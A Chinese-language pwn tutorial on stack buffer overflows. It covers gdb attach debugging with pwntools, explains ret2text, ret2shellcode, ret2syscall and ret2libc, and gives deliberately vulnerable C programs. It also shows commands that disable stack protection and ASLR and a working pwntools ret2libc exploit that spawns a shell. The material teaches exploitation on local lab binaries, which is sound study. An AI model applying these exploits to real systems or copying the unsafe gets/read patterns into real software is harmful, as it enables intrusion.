0x01 attach調試
我們將4.c文件編譯成41.exe,然後使用python腳本運行
C語言程序如下:
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void main()
{
char buf[20];
gets(buf);
}
python代碼如下:
from pwn import *
#context(arch="i386",os="linux",log_level="debug")
p=process('./41.exe')
offset = 44
#payload ='a'*offset+p32(0x8049172)
pause() //在發送之前停一下
p.send(payload)
p.interactive()
先運行python腳本:python 41.py
接下來重新打開一個命令行,輸入gdb,然後輸入attach 94506,讓程序運行起來
運行之後發生了中斷,我們可以在第一個命令行那裏隨意輸入一個字符,然後讓程序繼續運行起來,然後再第二個命令行裏單步執行n幾次。
以上是attach基本調試方法!
0x02 ret2libc
1.總述
我們需要控制程序跳轉到哪裏才能達成目的呢?主要是以下四種形式:
ret2text:控制程序執行程序本身的代碼,比如程序中已經有了system函數,我們就可以通過執行system("/bin/sh") 或system(“sh”)實現。
ret2shellcode:先寫入一段能夠獲取shell的彙編代碼,然後讓程序跳到rsp指向shellcode的開頭,來執行該段彙編代碼。但實現該攻擊需要shellcode所在的區域有課執行權限。
ret2syscall:調用Linux的系統中斷int 0x80實現。
ret2libc:控制函數執行libc中的函數,返回一個函數的具體位置,諸如靠這樣獲得system函數的地址。
2.ret2libc
ret2libc,即return-to-libc,返回到系統庫函數執行 的攻擊方法。
上一篇文章中我們找到了exploit的首地址,進而執行了system函數獲得了shell。然而ret2libc可以控制函數執行libc中的函數,返回一個函數的具體位置,諸如靠這樣獲得system函數的地址。
構建棧結構:
首先在執行棧結構中,將EIP填充爲system函數的地址,然後函數返回時,跳到system函數中執行。在執行剛進入system函數時,此時esp指向的地址爲前EIP高4字節的地址,然後在system函數,從它的視角來看,esp指向的是它的返回地址(EIP),而esp + 8就是它的函數,整個結構如下圖所示
觀察上圖,發現system函數完後,它會從EIP(unkown)這空間獲取返回到上級函數,爲了防止system返回後出現程序運錯誤,我們在這裏面可以填上exit函數的地址,讓程序默默地退出。
因此,攻擊注入的結構是:
AxN(填充物) + system_addr + exit_addr + arg
首先,我們進行溢出的C語言代碼爲:
#include <stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
進行編譯:
gcc -no-pie -fno-stack-protector -m32 -o 42.exe 3.c
請注意,gcc命令中少了-z execstack參數,即程序在加載運行後,棧不可以執行。
同時需要禁用地址隨機化功能:
echo 0 > /proc/sys/kernel/randomize_va_space
定位溢出點位置
pattern create 100
生成100個字符
將其複製,輸入r進行交互將這些字符粘貼進去
會發現程序停止運行,我們找到eip對應的字符A)AA,這就是發生溢出的位置
pattern offset A)AA
我們可以看到是32,說明在溢出之前我們要填充32個字符
尋找system,exit,/bin/sh 地址
在peda裏面,可以通過p system或searchmem system 尋找system函數的地址,通過這種方法我們可以找到system,exit,"/bin/sh"的地址。如下圖,我的kali顏色看起來不是很清晰,system函數地址:0xf7e13660 ; exit函數地址:0xf7e066f0 ;"/bin/sh"的地址下面三個都可以。
如果使用的是pwndbg的話可以用search system來找地址,後面兩個的地址都是這樣來找的。
通過python進行交互,利用這個溢出
python代碼如下:
from pwn import *
p=process('./42.exe')
offset = 32
payload ='a'*offset+p32(0xf7e13660)+p32(0xf7e066f0)+p32(0xf7f50f68)
p.send(payload)
p.interactive()
python 42.py
執行成功之後,就獲得系統權限了!